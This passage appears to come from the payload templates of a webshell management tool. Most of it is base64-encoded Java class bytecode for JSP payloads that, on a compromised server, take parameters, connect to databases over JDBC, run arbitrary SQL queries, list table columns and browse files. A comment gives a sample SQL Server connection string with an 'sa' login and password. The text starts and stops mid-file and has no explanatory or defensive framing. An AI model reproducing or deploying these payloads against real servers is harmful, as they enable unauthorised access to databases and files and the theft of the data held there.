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',
'var0': '#{encode}',
'var1': '#{conn}',
'var2': '#{db}'
},
show_columns: {
_: 'yv66vgAAADIBAgoATwBzBwB0CgACAHUKAAIAdggAUAsAdwB4CAB5CQBOAHoIAHsIAHwJAE4AfQcAfgoADAB/CACACwCBAIILAHcAgwsAgQCDBwCECgASAHMIAIUKABIAhgoAEgCHCgBOAIgKAE4AiQgAiggAiwgAjAgAjQoADACOCgBOAI8KAAwAhwgAkAoAAgCRCgCSAJMHAJQIAJUKACMAhwgAlgoAKACXBwCYCgAoAJkKACgAmggAmwgAnAoAKACdBwCeCgAoAJ8KAC4AoAoAKAChCgAoAKIKABIAowgApAoALgClCgAuAKYIAKcHAKgKADgAcwoAOACpCgAoAKoIAKsIAKwKACgArQoAKACuCgCvALAKALEAsgsAswC0CwC1ALYLALcAuAsAuQC6CwC5ALsLALcAvAsAtwC9CAC+CAC/CADACADBCgBOAMIHAG8HAMMBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAbwcAwwcAdAcAxAcAxQcAbwcAmAcAfgcAlAEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCeAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAxgcAxwcAyAcAyQcAygEAC3Nob3dDb2x1bW5zAQBcKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAQc2hvd0NvbHVtbnMuamF2YQwAUwBUAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAMsAzAwAzQDOBwDEDADPAGQBAAAMAFAAUQEAB2NoYXJzZXQBAAVVVEYtOAwAUgBRAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAUwDQAQAJdGV4dC9odG1sBwDFDADRANAMANIA0AEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMAwA0wDUDADVANYMAGYAZAwAYwBkAQAEdmFyMQEABHZhcjIBAAR2YXIzAQADLT58DADTANcMAG8AcAEAA3w8LQwA2ADZBwDaDADbANABABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABXAFgBABBqYXZhL2xhbmcvU3RyaW5nDADcAN0MAFMA3gEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDADfANYBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA4ADhDABTAOIMAOMA5AwA5QDmDADTAOcBAAEsDADoAOIMANUAZAEABmJhc2U2NAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAOkA6gwA6wDWAQACDQoBAAEKDADsAO0MAO4A7wcA8AwA8QDyBwDzDAD0APUHAMcMAPYA9wcAyAwA+AD5BwDJDAD6APsHAMoMAPwA4QwA/QD+DAD/AQAMAQEA/gEAAQkBAA5zZWxlY3QgKiBmcm9tIAEAAS4BAA8gV0hFUkUgUk9XTlVNPTAMAGgAaQEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9zcWwvQ29ubmVjdGlvbgEAEmphdmEvc3FsL1N0YXRlbWVudAEAEmphdmEvc3FsL1Jlc3VsdFNldAEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAEdHJpbQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAPY3JlYXRlU3RhdGVtZW50AQAWKClMamF2YS9zcWwvU3RhdGVtZW50OwEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsBAAtnZXRNZXRhRGF0YQEAHigpTGphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhOwEADmdldENvbHVtbkNvdW50AQANZ2V0Q29sdW1uTmFtZQEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEABG5leHQBAAMoKVoBAAlnZXRTdHJpbmcAIQBOAE8AAAACAAEAUABRAAAAAQBSAFEAAAAGAAEAUwBUAAEAVQAAAB0AAQABAAAABSq3AAGxAAAAAQBWAAAABgABAAAABwABAFcAWAABAFUAAAJeAAYACwAAAWkrwAACTSy2AANOLLYABDoEKi0SBbkABgIAxgAOLRIFuQAGAgCnAAUSB7UACCotEgm5AAYCAMYADi0SCbkABgIApwAFEgq1AAu7AAxZEge3AA06BbsADFkSB7cADToGGQQSDrkADwIALSq0AAu5ABACABkEKrQAC7kAEQIAKiq7ABJZtwATLRIUuQAGAgC2ABUSB7YAFbYAFrYAF7YAGDoHKiq7ABJZtwATLRIZuQAGAgC2ABUSB7YAFbYAFrYAF7YAGDoIKiq7ABJZtwATLRIauQAGAgC2ABUSB7YAFbYAFrYAF7YAGDoJKiq7ABJZtwATLRIbuQAGAgC2ABUSB7YAFbYAFrYAF7YAGDoKGQUSHLYAHVcZBioZBxkIGQkZCrYAHrYAHVcZBRkGtgAftgAdVxkFEiC2AB1XLLYAIRkFtgAftgAipwAiOgcZBrsAElm3ABMSJLYAFRkHtgAltgAVtgAWtgAdVwSsAAEAXgFFAUgAIwACAFYAAABeABcAAAAMAAUADQAKAA4AEAAPACwAEABIABEAUwASAF4AFABnABUAcQAWAHwAFwCgABgAxAAZAOgAGgEMABwBFAAdASYAHgExAB8BOQAgAUUAIwFIACEBSgAiAWcAJABZAAAAdwAG/wAnAAUHAFoHAFsHAFwHAF0HAF4AAQcAX/8AAQAFBwBaBwBbBwBcBwBdBwBeAAIHAF8HAGBZBwBf/wABAAUHAFoHAFsHAFwHAF0HAF4AAgcAXwcAYP8BAgAHBwBaBwBbBwBcBwBdBwBeBwBhBwBhAAEHAGIeAAAAYwBkAAIAVQAAAEMABAACAAAAHiq0AAgSJrYAJ5kABSuwuwAoWSu2ACkqtAALtwAqsAAAAAIAVgAAAAoAAgAAACcADgAoAFkAAAADAAEOAGUAAAAEAAEAIwAAAGYAZAACAFUAAAFNAAYABgAAAMkqtAAIEia2ACeZAJcrEiulAAwrEiu2ACeZAAYSB7ASLE0rtgAtTLsALlkrtgAvBWy3ADBOEgc6BAM2BRUFK7YAL6IAWLsAElm3ABMZBLYAFSwrFQW2ADG2ADIHeCwrFQUEYLYAMbYAMoC2ADMSNLYAFbYAFjoELSwrFQW2ADG2ADIHeCwrFQUEYLYAMbYAMoC2ADWEBQKn/6UtEgq2ADawKrQACBI3tgAnmQAeAU27ADhZtwA5Ti0rtgA6TbsAKFksEgq3ACqwK7AAAAACAFYAAABKABIAAAArAAwALAAbAC0AHgAvACEAMAAmADEANAAyADgAMwBEADQAdgA1AJMAMwCZADcAoAA4AKwAOQCuADoAtgA7ALwAPADHAD4AWQAAACIABhsC/wAcAAYHAFoHAGAHAGAHAGcHAGABAAD6AF34AAYmAGUAAAAEAAEAIwAAAGgAaQACAFUAAAG/AAQAEAAAAQ8SBzoHKiy2ABhNLLYAOxI8Ej22AD4SPbYAPzoIGQgDMrYAO7gAQFcZCAQyOgkZCRkIBTIZCAYyuABBOgoZCrkAQgEAOgsZCy25AEMCADoMGQy5AEQBADoNFQaZAFQENg4VDhkNuQBFAQCjAC8ZDRUOuQBGAgA6D7sAElm3ABMZB7YAFRkPtgAVGQS2ABW2ABY6B4QOAaf/y7sAElm3ABMZB7YAFRkFtgAVtgAWOgcZDLkARwEAmQBXBDYOFQ4ZDbkARQEAowAvGQwVDrkASAIAOg+7ABJZtwATGQe2ABUZD7YAFRkEtgAVtgAWOgeEDgGn/8u7ABJZtwATGQe2ABUZBbYAFbYAFjoHp/+lGQewAAAAAgBWAAAAWgAWAAAAQgAEAEMACgBEABwARQAnAEYALQBHADwASABFAEkATwBKAFgATABdAE0AbABOAHcATwCSAE0AmABRAK4AVAC4AFUAxwBWANIAVwDtAFUA8wBZAQwAWwBZAAAAPgAG/wBgAA8HAFoHAGAHAGAHAGAHAGAHAGABBwBgBwBqBwBgBwBrBwBsBwBtBwBuAQAA+gA3FfwADAH6ADcYAGUAAAAEAAEAIwAAAG8AcAACAFUAAABeAAcACAAAADoSSToFEgc6BrsAElm3ABMSSrYAFS22ABUSS7YAFRkEtgAVEky2ABW2ABY6ByorLBkHGQUZBgS2AE2wAAAAAQBWAAAAEgAEAAAAXgAEAF8ACABgACwAYQBlAAAABAABACMAAQBxAAAAAgBy',
'var0': '#{encode}',
'var1': '#{conn}',
'var2': '#{db}',
'var3': '#{table}'
},
query: {
_: 'yv66vgAAADIA+goASwBvBwBwCgACAHEKAAIAcggATAsAcwB0CAB1CQBKAHYIAHcIAHgJAEoAeQcAegoADAB7CAB8CwB9AH4LAHMAfwsAfQB/BwCACgASAG8IAIEKABIAggoAEgCDCgBKAIQKAEoAhQgAhggAhwgAiAoADACJCgBKAIoKAAwAgwgAiwoAAgCMCgCNAI4HAI8IAJAKACIAgwgAkQoAJwCSBwCTCgAnAJQKACcAlQgAlggAlwoAJwCYBwCZCgAnAJoKAC0AmwoAJwCcCgAnAJ0KABIAnggAnwoALQCgCgAtAKEIAKIHAKMKADcAbwoANwCkCgAnAKUIAKYIAKcKACcAqAoAJwCpCgCqAKsKAKwArQsArgCvCwCwALELALIAswsAtAC1CwC0ALYLALIAtwsAsgC4CAC5CgBKALoHAGsHALsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAawcAuwcAcAcAvAcAvQcAawcAkwcAegcAjwEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCZAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAvgcAvwcAwAcAwQcAwgEABXF1ZXJ5AQBKKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAKcXVlcnkuamF2YQwATwBQAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAMMAxAwAxQDGBwC8DADHAGABAAAMAEwATQEAB2NoYXJzZXQBAAVVVEYtOAwATgBNAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwATwDIAQAJdGV4dC9odG1sBwC9DADJAMgMAMoAyAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMAwAywDMDADNAM4MAGIAYAwAXwBgAQAEdmFyMQEABHZhcjIBAAMtPnwMAMsAzwwAawBsAQADfDwtDADQANEHANIMANMAyAEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAFMAVAEAEGphdmEvbGFuZy9TdHJpbmcMANQA1QwATwDWAQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMANcAzgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDADYANkMAE8A2gwA2wDcDADdAN4MAMsA3wEAASwMAOAA2gwAzQBgAQAGYmFzZTY0AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwA4QDiDADjAM4BAAINCgEAAQoMAOQA5QwA5gDnBwDoDADpAOoHAOsMAOwA7QcAvwwA7gDvBwDADADwAPEHAMEMAPIA8wcAwgwA9ADZDAD1APYMAPcA+AwA+QD2AQADCXwJDABkAGUBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAE2phdmEvc3FsL0Nvbm5lY3Rpb24BABJqYXZhL3NxbC9TdGF0ZW1lbnQBABJqYXZhL3NxbC9SZXN1bHRTZXQBABpqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRyaW0BAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEAD2phdmEvbGFuZy9DbGFzcwEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAWamF2YS9zcWwvRHJpdmVyTWFuYWdlcgEADWdldENvbm5lY3Rpb24BAE0oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9Db25uZWN0aW9uOwEAD2NyZWF0ZVN0YXRlbWVudAEAFigpTGphdmEvc3FsL1N0YXRlbWVudDsBAAxleGVjdXRlUXVlcnkBACgoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9SZXN1bHRTZXQ7AQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsBAA5nZXRDb2x1bW5Db3VudAEADWdldENvbHVtbk5hbWUBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAARuZXh0AQADKClaAQAJZ2V0U3RyaW5nACEASgBLAAAAAgABAEwATQAAAAEATgBNAAAABgABAE8AUAABAFEAAAAdAAEAAQAAAAUqtwABsQAAAAEAUgAAAAYAAQAAAAcAAQBTAFQAAQBRAAACNAAFAAoAAAFDK8AAAk0stgADTiy2AAQ6BCotEgW5AAYCAMYADi0SBbkABgIApwAFEge1AAgqLRIJuQAGAgDGAA4tEgm5AAYCAKcABRIKtQALuwAMWRIHtwANOgW7AAxZEge3AA06BhkEEg65AA8CAC0qtAALuQAQAgAZBCq0AAu5ABECACoquwASWbcAEy0SFLkABgIAtgAVEge2ABW2ABa2ABe2ABg6ByoquwASWbcAEy0SGbkABgIAtgAVEge2ABW2ABa2ABe2ABg6CCoquwASWbcAEy0SGrkABgIAtgAVEge2ABW2ABa2ABe2ABg6CRkFEhu2ABxXGQYqGQcZCBkJtgAdtgAcVxkFGQa2AB62ABxXGQUSH7YAHFcstgAgGQW2AB62ACGnACI6BxkGuwASWbcAExIjtgAVGQe2ACS2ABW2ABa2ABxXBKwAAQBeAR8BIgAiAAIAUgAAAFoAFgAAAAwABQANAAoADgAQAA8ALAAQAEgAEQBTABIAXgAUAGcAFQBxABYAfAAXAKAAGADEABkA6AAaAPAAGwEAABwBCwAdARMAHgEfACEBIgAfASQAIAFBACIAVQAAAHcABv8AJwAFBwBWBwBXBwBYBwBZBwBaAAEHAFv/AAEABQcAVgcAVwcAWAcAWQcAWgACBwBbBwBcWQcAW/8AAQAFBwBWBwBXBwBYBwBZBwBaAAIHAFsHAFz/ANwABwcAVgcAVwcAWAcAWQcAWgcAXQcAXQABBwBeHgAAAF8AYAACAFEAAABDAAQAAgAAAB4qtAAIEiW2ACaZAAUrsLsAJ1krtgAoKrQAC7cAKbAAAAACAFIAAAAKAAIAAAAlAA4AJgBVAAAAAwABDgBhAAAABAABACIAAABiAGAAAgBRAAABTQAGAAYAAADJKrQACBIltgAmmQCXKxIqpQAMKxIqtgAmmQAGEgewEitNK7YALEy7AC1ZK7YALgVstwAvThIHOgQDNgUVBSu2AC6iAFi7ABJZtwATGQS2ABUsKxUFtgAwtgAxB3gsKxUFBGC2ADC2ADGAtgAyEjO2ABW2ABY6BC0sKxUFtgAwtgAxB3gsKxUFBGC2ADC2ADGAtgA0hAUCp/+lLRIKtgA1sCq0AAgSNrYAJpkAHgFNuwA3WbcAOE4tK7YAOU27ACdZLBIKtwApsCuwAAAAAgBSAAAASgASAAAAKQAMACoAGwArAB4ALQAhAC4AJgAvADQAMAA4ADEARAAyAHYAMwCTADEAmQA1AKAANgCsADcArgA4ALYAOQC8ADoAxwA8AFUAAAAiAAYbAv8AHAAGBwBWBwBcBwBcBwBjBwBcAQAA+gBd+AAGJgBhAAAABAABACIAAABkAGUAAgBRAAABvwAEABAAAAEPEgc6ByostgAYTSy2ADoSOxI8tgA9Ejy2AD46CBkIAzK2ADq4AD9XGQgEMjoJGQkZCAUyGQgGMrgAQDoKGQq5AEEBADoLGQstuQBCAgA6DBkMuQBDAQA6DRUGmQBUBDYOFQ4ZDbkARAEAowAvGQ0VDrkARQIAOg+7ABJZtwATGQe2ABUZD7YAFRkEtgAVtgAWOgeEDgGn/8u7ABJZtwATGQe2ABUZBbYAFbYAFjoHGQy5AEYBAJkAVwQ2DhUOGQ25AEQBAKMALxkMFQ65AEcCADoPuwASWbcAExkHtgAVGQ+2ABUZBLYAFbYAFjoHhA4Bp//LuwASWbcAExkHtgAVGQW2ABW2ABY6B6f/pRkHsAAAAAIAUgAAAFoAFgAAAEAABABBAAoAQgAcAEMAJwBEAC0ARQA8AEYARQBHAE8ASABYAEoAXQBLAGwATAB3AE0AkgBLAJgATwCuAFIAuABTAMcAVADSAFUA7QBTAPMAVwEMAFkAVQAAAD4ABv8AYAAPBwBWBwBcBwBcBwBcBwBcBwBcAQcAXAcAZgcAXAcAZwcAaAcAaQcAagEAAPoANxX8AAwB+gA3GABhAAAABAABACIAAABrAGwAAgBRAAAANQAHAAYAAAAVEkg6BBI7OgUqKywtGQQZBQS2AEmwAAAAAQBSAAAADgADAAAAXAAEAF0ACABeAGEAAAAEAAEAIgABAG0AAAACAG4=',
'var0': '#{encode}',
'var1': '#{conn}',
'var2': '#{sql}'
}
})
\ No newline at end of file
/*
<T>XDB</T>
<X>
com.microsoft.sqlserver.jdbc.SQLServerDriver
jdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456
</X>
*/
module.exports = require('./default');
\ No newline at end of file
//
// 文件管理模板
//
module.exports = () => ({
dir: {
_: 'yv66vgAAADIA9woAUgBzBwB0CgACAHUKAAIAdggAUwsAdwB4CAB5CQBRAHoIAHsIAHwJAFEAfQcAfgoADAB/CACACwCBAIILAHcAgwsAgQCDBwCECgASAHMIAIUKABIAhgoAEgCHCgBRAIgKAFEAiQgAigoADACLCgBRAIwKAAwAhwgAjQoAAgCOCgCPAJAHAJEIAJIKACAAhwgAkwoAJQCUBwCVCgAlAJYKACUAlwgAmAgAmQoAJQCaBwCbCgAlAJwKACsAnQoAJQCeCgAlAJ8KABIAoAgAoQoAKwCiCgArAKMIAKQHAKUKADUAcwoANQCmBwCnCgA4AH8KADgAqAoAqQCqCACrCgCsAK0HAK4IAK8KAD4AfwcAsAoAOACxCgBBALIKAD4AswoAOAC0CAC1CgA4ALYIALcKADgAuAoAJQC5CgA4ALoIALsIALwKADgAvQoAEgC+CAC/BwBrBwDAAQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAGsHAMAHAHQHAMEHAMIHAGsHAJUHAH4HAJEBAAJFQwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAmwEADEZpbGVUcmVlQ29kZQcApwcAwwcArgcAsAcAhAEAClNvdXJjZUZpbGUBABFGaWxlVHJlZUNvZGUuamF2YQwAVgBXAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAMQAxQwAxgDHBwDBDADIAGcBAAAMAFMAVAEAB2NoYXJzZXQBAAVVVEYtOAwAVQBUAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAVgDJAQAJdGV4dC9